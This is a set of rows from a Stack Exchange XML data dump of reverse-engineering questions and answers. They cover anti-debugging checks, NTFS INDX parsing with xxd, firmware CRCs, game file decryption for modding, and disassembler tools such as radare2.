  <row Id="15879" PostTypeId="1" CreationDate="2017-07-21T16:06:03.280" Score="0" ViewCount="2102" Body="&lt;p&gt;What are some things I can do to do anti kernel debugging from user-mode C++?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already use ZwQuerySystemInformation to query for SystemKernelDebuggerInformation.&lt;/p&gt;&#xA;" OwnerUserId="20951" LastActivityDate="2017-07-21T16:39:21.523" Title="C++ Anti Kernel Debugger?" Tags="|c++|anti-debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15880" PostTypeId="1" CreationDate="2017-07-21T16:14:55.907" Score="2" ViewCount="365" Body="&lt;p&gt;Ques: How difficult would it be to extract audio samples from a VST extension/plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author has made their software available for &lt;a href=&quot;http://blog.wavosaur.com/rave-generator-vst-free-90s-stab-synth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;free&lt;/a&gt; but it was designed as an extension for a much larger music framework? VST?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My synth can load and play raw WAV files. How hard would it be to extract the audio samples from the author's plugin, and would it be possible to convert the samples into individual WAV files?&lt;/p&gt;&#xA;" OwnerUserId="16941" LastActivityDate="2017-07-21T16:14:55.907" Title="VST audio samples" Tags="|decompilation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15881" PostTypeId="2" ParentId="15873" CreationDate="2017-07-21T16:19:59.560" Score="2" Body="&lt;p&gt;While there's no way to know with 100% certainty what was the original value before the AND operation, you can find some &lt;em&gt;possible&lt;/em&gt; values producing the same result, and sometimes that's enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, for &lt;code&gt;x &amp;amp; N = z&lt;/code&gt;, you can start from &lt;code&gt;z&lt;/code&gt; and set any bits to &lt;code&gt;1&lt;/code&gt; where you have are 0 in &lt;code&gt;N&lt;/code&gt;. &lt;code&gt;z&lt;/code&gt; itself will always work too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if we know that &lt;code&gt;x &amp;amp; 0xE == 6&lt;/code&gt;, then at any of the following values of &lt;code&gt;x&lt;/code&gt; will work: 6,7, 0x16, 0x17, 0x26, 0x27 and so on. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-21T16:19:59.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15882" PostTypeId="2" ParentId="15879" CreationDate="2017-07-21T16:39:21.523" Score="3" Body="&lt;p&gt;There is little you can do to prevent/detect kernel mode debugging of your application from user mode. Even if you can detect, it's because no one is interested enough to by-pass them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, your technique will be by-passed by hooking ZwQuerySystemInformation in the kernel to fool your checks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want protection, you should invest into techniques that make the analysis/reversing harder (code protectors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for reference, the opposite &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8968/anti-kernelmode-functions-specifically-zwquerysysteminformation&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-07-21T16:39:21.523" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15883" PostTypeId="1" AcceptedAnswerId="15884" CreationDate="2017-07-21T17:18:45.210" Score="0" ViewCount="147" Body="&lt;p&gt;i was trying to search for some information about packers just to learn more about it, there is a lot of stuff out there but its hard to find something that really explain that good and clear,&#xA;I would love if someone here could share some good materials about that topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19849" LastActivityDate="2017-07-21T19:14:18.260" Title="Information about packers" Tags="|disassembly|assembly|malware|winapi|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15884" PostTypeId="2" ParentId="15883" CreationDate="2017-07-21T19:03:24.600" Score="5" Body="&lt;p&gt;First, this article from Trustwave does an excellent job covering the topic thoroughly from a beginner's perspective (note: there are formatting errors throughout the article where it mashes two words together every two lines or so, but that aside, the content is good):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.trustwave.com/Resources/SpiderLabs-Blog/Basic-Packers--Easy-As-Pie/&quot; rel=&quot;noreferrer&quot;&gt;https://www.trustwave.com/Resources/SpiderLabs-Blog/Basic-Packers--Easy-As-Pie/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, combined with the aforementioned article, the Wikipedia page on the topic will help you flesh out the correct terminology to use for your future searches--things like &quot;executable packing,&quot; &quot;executable compression,&quot; etc.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_compression&quot; rel=&quot;noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Executable_compression&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those two resources should give you all you need to start building a solid understanding of the topic.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-07-21T19:14:18.260" LastActivityDate="2017-07-21T19:14:18.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15887" PostTypeId="2" ParentId="14942" CreationDate="2017-07-21T23:33:14.670" Score="3" Body="&lt;p&gt;It turns out that record type 6 is a 32-bit CRC, in bigendian order.  The CRC is the typical (as I understand it) CRC32, producing identical results to the &lt;code&gt;crc32&lt;/code&gt; utility included in the &lt;code&gt;Archive::Zip&lt;/code&gt; Perl module on Linux systems.  The trick was that the bootloader is actually calculating it over a region of flash memory storing the application code.  I haven't fully traced the bootloader, but the code appears to be installing the firmware update and only &lt;strong&gt;then&lt;/strong&gt; checking its integrity against this value, after boot.  I'm not sure what bootloader it is, but it appears to &lt;strong&gt;not&lt;/strong&gt; be the Kinetis bootloader, given the absence of the magic string required in the Kinetis bootloader Bootloader Configuration Area (BCA).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the trick was figuring out what the flash would look like after applying the updates specified in the update file, and doing a CRC over &lt;em&gt;only&lt;/em&gt; the region of flash the bootloader was calculating it over. In my case that was &lt;code&gt;0x800&lt;/code&gt; to &lt;code&gt;0x3afff&lt;/code&gt;. Also in my case, the unspecified bytes were set to &lt;code&gt;0xFF&lt;/code&gt;, so I can calculate an offline CRC just by looking at the file. But for one other update file I have, the assumption that unspecified bytes will be &lt;code&gt;0xFF&lt;/code&gt; does not hold, so I guess I just got lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One interesting note:  I used the &lt;code&gt;crcmod&lt;/code&gt; Python module to try to calculate my CRCs when I was trying to brute-force guess things, when I posted my original question.  Even when I knew the CRC algorithm being used, and over what byte range, I still could not get any crcmod CRC algorithm to give me the right result.  I fiddled with it for a little while, but eventually gave up and just used the &lt;code&gt;crc32&lt;/code&gt; shell utility.  I never got to the bottom of that problem, and it easily could have been a bug in my Python code, but I wanted to just note that for anyone experiencing similar issues.&lt;/p&gt;&#xA;" OwnerUserId="19009" LastEditorUserId="18945" LastEditDate="2018-03-26T08:46:18.630" LastActivityDate="2018-03-26T08:46:18.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15890" PostTypeId="1" CreationDate="2017-07-22T07:12:02.607" Score="0" ViewCount="2644" Body="&lt;p&gt;I unzipped an apk file and got one libxx.so file. I find that there are some &amp;quot;exported&amp;quot;(but I guess the &amp;quot;fun&amp;quot; function is not exported by the original programer) functions in this library by IDA Pro, like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hMSxc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMSxc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now I can call the &amp;quot;stringFromJNI&amp;quot; function by add this library to my Android project. But is it possible to call the &amp;quot;fun&amp;quot; function? Should I call it by JNI or dlopen(I have tried dlopen but got &amp;quot;undefined symbol:JNI_OnLoad&amp;quot; error)? And how?&lt;/p&gt;&#xA;" OwnerUserId="20911" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-12-09T09:57:51.360" Title="Is it possible to call function in dynamic link library(.so) generated by Android JNI project?" Tags="|ida|android|dynamic-linking|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15891" PostTypeId="2" ParentId="15860" CreationDate="2017-07-22T11:11:04.740" Score="2" Body="&lt;p&gt;The INDEX_RECORD_ENTRY should be preceded by INDEX_HEADER with the magic signature &lt;strong&gt;INDX&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;without the header deciphering the INDEX_RECORD_ENTRIES is difficult as shown in your screen shot &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the following observations are based on the pastebin dump you edited in later&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i converted the hex to binary with a bat file thus&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rem make a copy &#xA;copy %1 %2&#xA;rem compare both&#xA;fc %1 %2&#xA;rem dump the first line for visualizing&#xA;head -1 %2&#xA;rem strip the address,colon and space &#xA;rem this is to make it compatible with xxd input&#xA;sed s/.*:\x20//g %2 &amp;gt; %3&#xA;rem dump the ripped hex file first line &#xA;head -1 %3&#xA;rem convert hex to binary &#xA;xxd -r -p %3 &amp;gt; %4&#xA;rem check the size and compare with word count&#xA;rem both should be same &#xA;ls -l %4&#xA;wc -w %3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing the bat file on the downloaded pastebin dump&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\indx&amp;gt;converthextobin.bat indx_$i30_dump.txt indxhex.txt indxstripped.txt indxbin.bin&#xA;&#xA;C:\indx&amp;gt;rem make a copy&#xA;C:\indx&amp;gt;copy indx_$i30_dump.txt indxhex.txt&#xA;        1 file(s) copied.&#xA;&#xA;C:\indx&amp;gt;rem compare both&#xA;C:\indx&amp;gt;fc indx_$i30_dump.txt indxhex.txt&#xA;Comparing files indx_$i30_dump.txt and INDXHEX.TXT&#xA;FC: no differences encountered&#xA;&#xA;C:\indx&amp;gt;rem dump the first line for visualizing&#xA;C:\indx&amp;gt;head -1 indxhex.txt&#xA;0000: 49 4E 44 58 28 00 09 00 D2 92 87 08 00 00 00 00&#xA;&#xA;C:\indx&amp;gt;rem strip the address,colon and space&#xA;C:\indx&amp;gt;rem this is to make it compatible with xxd input&#xA;C:\indx&amp;gt;sed s/.*:\x20//g indxhex.txt  1&amp;gt;indxstripped.txt&#xA;&#xA;C:\indx&amp;gt;rem dump the ripped hex file first line&#xA;C:\indx&amp;gt;head -1 indxstripped.txt&#xA;49 4E 44 58 28 00 09 00 D2 92 87 08 00 00 00 00&#xA;&#xA;C:\indx&amp;gt;rem convert hex to binary&#xA;C:\indx&amp;gt;xxd -r -p indxstripped.txt  1&amp;gt;indxbin.bin&#xA;&#xA;C:\indx&amp;gt;rem check the size and compare with word count&#xA;C:\indx&amp;gt;rem both should be same&#xA;C:\indx&amp;gt;ls -l indxbin.bin&#xA;-rw-rw-rw-  1 HP 0 6656 2017-07-22 15:20 indxbin.bin&#xA;C:\indx&amp;gt;wc -w indxstripped.txt&#xA;6656 indxstripped.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now that we have a binary form we can start exploring &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lets dump the INDEX_HEADER and verify &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;xxd -s00 -g4 -l4 indxbin.bin &amp;amp;^&#xA;xxd -s04 -g2 -l2 indxbin.bin &amp;amp;^&#xA;xxd -s06 -g2 -l2 indxbin.bin &amp;amp;^&#xA;xxd -s08 -g8 -l8 indxbin.bin &amp;amp;^&#xA;xxd -s16 -g8 -l8 indxbin.bin &amp;amp;^&#xA;xxd -s24 -g4 -l4 indxbin.bin &amp;amp;^&#xA;xxd -s28 -g4 -l4 indxbin.bin &amp;amp;^&#xA;xxd -s32 -g4 -l4 indxbin.bin &amp;amp;^&#xA;xxd -s36 -g1 -l1 indxbin.bin &amp;amp;^&#xA;xxd -s37 -g3 -l3 indxbin.bin &amp;amp;^&#xA;xxd -s40 -g2 -l2 indxbin.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed we get the INDEX_HEADER&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\indx&amp;gt;dumpindxheader.bat&#xA;0000000: 494e4458                             INDX&#xA;0000004: 2800                                     (.&#xA;0000006: 0900                                     ..&#xA;0000000: 494e445828000900                   INDX(...&#xA;0000010: 0000000000000000                   ........&#xA;0000018: 40000000                             @...&#xA;000001c: 90060000                             ....&#xA;0000020: e80f0000                             ....&#xA;0000024: 00&#xA;0000025: 000000                                 ...&#xA;0000028: 1e02                                     ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we can see the INDEX_RECORD_ENTRY relative to HEADER_OFFSET is 0x40 (i haven't tried to control the Endiannes in xxd output)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so the INDEX_RECORD_ENTRY (terminology may be incorrect ) starts at 0x40+0x18 = 0x58&lt;br&gt;&#xA;it is a variable sized structure padded appropriately to boundaries    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;dumping the record entry&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;xxd -s88 -g8 -l8 indxbin.bin &amp;amp;^&#xA;xxd -s96 -g2 -l2 indxbin.bin &amp;amp;^&#xA;xxd -s98 -g2 -l2 indxbin.bin &amp;amp;^&#xA;xxd -s100 -g2 -l2 indxbin.bin &amp;amp;^&#xA;xxd -s102 -g2 -l2 indxbin.bin &amp;amp;^&#xA;xxd -c8 -s104 -g8 -l64 indxbin.bin &amp;amp;^&#xA;xxd -s168 -g1 -l1 indxbin.bin &amp;amp;^&#xA;xxd -s169 -g1 -l1 indxbin.bin &amp;amp;^&#xA;xxd -s170 -g1 -l22 indxbin.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing the bat file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\indx&amp;gt;dumpindxrecordentry.bat&#xA;0000058: 0400000000000400                   ........&#xA;0000060: 6800                                     h.&#xA;0000062: 5200                                     R.&#xA;0000064: 0000                                     ..&#xA;0000066: 0000                                     ..&#xA;0000068: 0500000000000500  ........&#xA;0000070: d07fa49ac58cd201  ........&#xA;0000078: d07fa49ac58cd201  ........&#xA;0000080: d07fa49ac58cd201  ........&#xA;0000088: d07fa49ac58cd201  ........&#xA;0000090: 0090000000000000  ........&#xA;0000098: a08c000000000000  ........&#xA;00000a0: 0600000000000000  ........&#xA;00000a8: 08                                               .&#xA;00000a9: 03                                               .&#xA;00000aa: 24 00 41 00 74 00 74 00 72 00 44 00 65 00 66 00  $.A.t.t.r.D.e.f.&#xA;00000ba: 00 00 00 00 00 00                                ......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the size 68 is relative to self so the next entry would be at &#xA;0x58+0x68 == 0xc0 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the offset to file name is relative to self so file name would be at &#xA;0x58+0x52 = 0xaa as dumped &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you can now go ahead by dumping the next entry by providing the appropriate seek address to xxd viz 0xc0 or 0n192 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the last entry is at 0x628 whose size is 0x70 so it ends at 0x698 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the very last entry is 0x10 bytes long with an mft reference 0&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;quoted from the pdf linked in your original post&lt;br&gt;&#xA;  last entry has a size of 0x10 (just large enough for the flags (and a&#xA;  mft ref of zero)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000690                          00 00 00 00 00 00 00 00          ........&#xA;000006A0  10 00 00 00 02 00 00 00                          ........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-07-22T11:11:04.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15892" PostTypeId="1" CreationDate="2017-07-22T14:50:23.167" Score="2" ViewCount="11988" Body="&lt;p&gt;I want to mod Tony hawks underground 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that the files in a folder &lt;code&gt;scripts&lt;/code&gt; (down the game's directory tree), are all encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I start if I want to decrypt them?&lt;/p&gt;&#xA;" OwnerUserId="20962" LastEditorUserId="20962" LastEditDate="2017-08-22T20:46:51.913" LastActivityDate="2022-01-23T00:50:45.507" Title="How to decrypt encrypted script files for a game?" Tags="|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15893" PostTypeId="2" ParentId="15892" CreationDate="2017-07-22T16:58:10.280" Score="7" Body="&lt;p&gt;There are two noteworthy communities dedicated to reversing file formats with video games: &lt;a href=&quot;http://forum.xentax.com/&quot; rel=&quot;noreferrer&quot;&gt;XeNTaX&lt;/a&gt; and &lt;a href=&quot;http://zenhax.com/index.php&quot; rel=&quot;noreferrer&quot;&gt;ZenHAX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of them have their own respective applications used for creating scripts that unpack files (and sometimes, repack). Those programs are MultiEx (from XeNTaX) and QuickBMS (from ZenHAX). There are tutorial sections on each site where you can learn about reverse engineering file formats and creating scripts; however, this is by no means an easy or simple thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also mod sections on each respective forum, which may interest you. But before trying to go down that route from scratch, you could try doing a Google search for &lt;em&gt;QuickBMS Tony Hawk Underground 2&lt;/em&gt; or &lt;em&gt;MultiEx Tony Hawk Underground 2&lt;/em&gt;. I'm not sure if it's relevant to the version you're looking to mod, but &lt;a href=&quot;http://zenhax.com/viewtopic.php?t=3553&quot; rel=&quot;noreferrer&quot;&gt;here's a result&lt;/a&gt; for a QuickBMS script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In lieu of that, you can try searching for general unpackers or mod tools already made specifically for a game. Ultimately, the idea is this: what do you want to spend the majority of your time on? If it's modding, then exhaust your resources looking for the right tooling/scripts/etc. Sometimes that could mean finding which engine a game was built on, then looking for tooling related to that, which could well work for your game. Anything you can do to help yourself spend as little time as possible doing anything but modding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you want the fun/challenge/etc. of reversing, then those two forums are a great place for you to start immersing yourself; however, depending on how much knowledge you have to build from, expect to spend weeks, months, and even years honing in on reversing something like this from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-07-22T16:58:10.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15894" PostTypeId="2" ParentId="14237" CreationDate="2017-07-23T02:19:17.837" Score="1" Body="&lt;p&gt;Igor certainly knows six or seven orders of magnitude more on this subject than me, but it seems to me that if you're trying to get at the flash chip, not the USB controller, you probably won't get that from the VID/PID.  I am probably wrong, bc Igor, and bc I'm unfamiliar with USB Flash Drive designs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I'm right, and if it is an SPI chip, you can try to get the JEDEC manufacturer ID via a fairly standard SPI master command.  You'll need to figure out the pinout to talk to it via SPI, but if you have any markings on the USB controller chip you might be able to figure out which pins can be used for SPI. Do a continuity test to the pads where you removed the chip and figure out which pins on your flash chip are which SPI pins.  Wire it up and use something like the Adafruit FTDI 2232 breakout board or whatever you have on hand to try to run flashrom and ID the chip.  I wish I could remember the exact command over SPI to get back the JEDEC ID, but here's the JEDEC ID spec &lt;a href=&quot;http://www.softnology.biz/pdf/JEP106AR.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.softnology.biz/pdf/JEP106AR.pdf&lt;/a&gt;.  Look at the flashrom code if you need to figure out the exact command that needs to be sent.  Sorry, this is not the most helpful answer in the world, but maybe points in a direction you can go.&lt;/p&gt;&#xA;" OwnerUserId="19009" LastActivityDate="2017-07-23T02:19:17.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15895" PostTypeId="1" AcceptedAnswerId="15898" CreationDate="2017-07-23T03:31:03.920" Score="18" ViewCount="25427" Body="&lt;p&gt;I am looking for a free &amp;amp; open source alternative to IDA Pro runs on MacOS - the suggestions should have as close to the features of IDA as possible. I should also be able to edit an executable that I am debugging (i.e. change/remove things).&lt;/p&gt;&#xA;" OwnerDisplayName="user20964" LastEditorUserId="53" LastEditDate="2017-08-17T09:12:37.020" LastActivityDate="2020-12-22T05:20:24.433" Title="What is a free &amp; open source alternative to IDA Pro for MacOS?" Tags="|ida|mach-o|macos|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15896" PostTypeId="2" ParentId="15895" CreationDate="2017-07-23T04:41:09.883" Score="2" Body="&lt;p&gt;There aren't any. Radare is the only open source disassembler (that works on OSX) worth mentioning, and its capabilities are still far away from what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radare/radare2&lt;/a&gt; or&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;brew install radare2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-07-23T04:41:09.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15897" PostTypeId="2" ParentId="15895" CreationDate="2017-07-23T16:10:33.670" Score="5" Body="&lt;p&gt;This is not free and open source but Hopper Disassembler is $99US for personal use which compared to IDA Pro is super cheap. There is a free trial version if you would like to check it out. &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.hopperapp.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2954" LastEditorUserId="60" LastEditDate="2017-07-23T22:02:08.070" LastActivityDate="2017-07-23T22:02:08.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15898" PostTypeId="2" ParentId="15895" CreationDate="2017-07-23T17:33:45.667" Score="16" Body="&lt;p&gt;I highly recommend &lt;a href=&quot;https://github.com/radare/radare2/&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; which seems to suit you the best:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;radare2 is an &lt;strong&gt;open source&lt;/strong&gt; framework for reverse engineering and&#xA;  binary analysis which implements a rich command line interface for&#xA;  disassembling, analyzing data, patching binaries, comparing data,&#xA;  searching, replacing, visualizing and more. It has great scripting&#xA;  capabilities, it runs on all major platforms (GNU/Linux, Windows&#xA;  *BSD, iOS, &lt;strong&gt;OSX&lt;/strong&gt;, Solaris…) and it supports tons of architectures and file formats. [...] radare2 is absolutely libre. [&lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-1/&quot; rel=&quot;noreferrer&quot;&gt;Source&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can find most of the features you have in IDA in radare (including the option to edit a binary that you debug) and in case you lack some feature you can always open a request on the &lt;a href=&quot;https://github.com/radare/radare2/issues&quot; rel=&quot;noreferrer&quot;&gt;Github&lt;/a&gt; page or develop it by yourself. Note that, in my opinion, the learning curve of r2 is pretty steep and it'll take some time to get use to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;br&gt;&#xA;It’s recommended to use the current git version of radare2.&lt;br&gt;&#xA;Simply run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/radare/radare2.git&#xA;cd radare2&#xA;./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to perform &lt;a href=&quot;https://github.com/radare/radare2/blob/master/doc/osx.md&quot; rel=&quot;noreferrer&quot;&gt;several more steps&lt;/a&gt; in order to sign radare and make it ready to debug applications without the need of root permissions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Beginners guides&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/radare/radare2book/details&quot; rel=&quot;noreferrer&quot;&gt;Radare2 Book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/monosource/radare2-explorations/details&quot; rel=&quot;noreferrer&quot;&gt;Radare2 Explorations&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=fnpBy3wWabA&quot; rel=&quot;noreferrer&quot;&gt;Radare Demystified&lt;/a&gt; (Talk)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This should be enough in order to learn the basics of radare.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;User Interface&lt;/strong&gt;&lt;br&gt;&#xA;radare2 has a powerful command line visual modes to help you go through the program and super useful while debugging. This is how the Visual Graph Mode looks like:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sp7ML.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sp7ML.png&quot; alt=&quot;Visual graph mode&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official graphic user interface of radare2 is called &lt;a href=&quot;https://github.com/radareorg/cutter&quot; rel=&quot;noreferrer&quot;&gt;Cutter&lt;/a&gt; (originally named Iaito). Cutter is built on top of Qt and C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9mPrB.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9mPrB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="2147" LastEditDate="2018-10-01T00:27:00.277" LastActivityDate="2018-10-01T00:27:00.277" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="15899" PostTypeId="1" AcceptedAnswerId="15900" CreationDate="2017-07-23T20:19:58.953" Score="3" ViewCount="1766" Body="&lt;p&gt;While reversing a binary, whatever symbols we name inside IDA IDB database, is it possible to load the same in GDB while debugging? e.g. I tried &lt;a href=&quot;https://github.com/wapiflapi/wsym&quot; rel=&quot;nofollow noreferrer&quot;&gt;wsym&lt;/a&gt; which attempts to inject those as symbols. However, the project seems to be in too beta to work properly. I want to use &lt;code&gt;pwndbg&lt;/code&gt; for debugging, so using IDA's integrated remote debugging support is not really an option.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-07-23T21:46:33.773" Title="Loading user specified IDA symbols in GDB" Tags="|ida|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15900" PostTypeId="2" ParentId="15899" CreationDate="2017-07-23T21:46:33.773" Score="2" Body="&lt;p&gt;One of this year's Recon talks was on a project which exports data from IDA as DWARF debug info. In theory that can be used in &lt;code&gt;gdb&lt;/code&gt; to provide symbols.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-Exporting-IDA-Debug-Information.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Slides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://github.com/alschwalm/dwarfexport&quot; rel=&quot;nofollow noreferrer&quot;&gt;Code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;P.S. according to &lt;code&gt;pwndbg&lt;/code&gt; documentation, it already has some kind of &lt;a href=&quot;https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md#ida-pro-integration&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;IDA integraton&quot;&lt;/a&gt;, so I'd suggest you to try that and contact the project if you can't get it working.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-23T21:46:33.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
